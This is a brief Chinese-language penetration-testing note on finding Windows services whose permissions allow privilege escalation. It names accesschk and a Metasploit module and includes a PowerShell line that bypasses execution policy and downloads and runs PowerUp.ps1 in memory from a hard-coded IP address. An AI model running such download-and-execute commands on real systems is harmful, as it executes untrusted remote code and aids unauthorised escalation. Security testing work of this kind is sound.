前言:都写出来记录下吧
检测方法:
以test01账户检测对当前所有的服务有没有读写权限:accesschk.exe /accepteula test01 -c *
msf中的模块:exploit/windows/local/service_permissions
powershell的PowerUp中的Invoke-AllChecks:powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Invoke-AllChecks"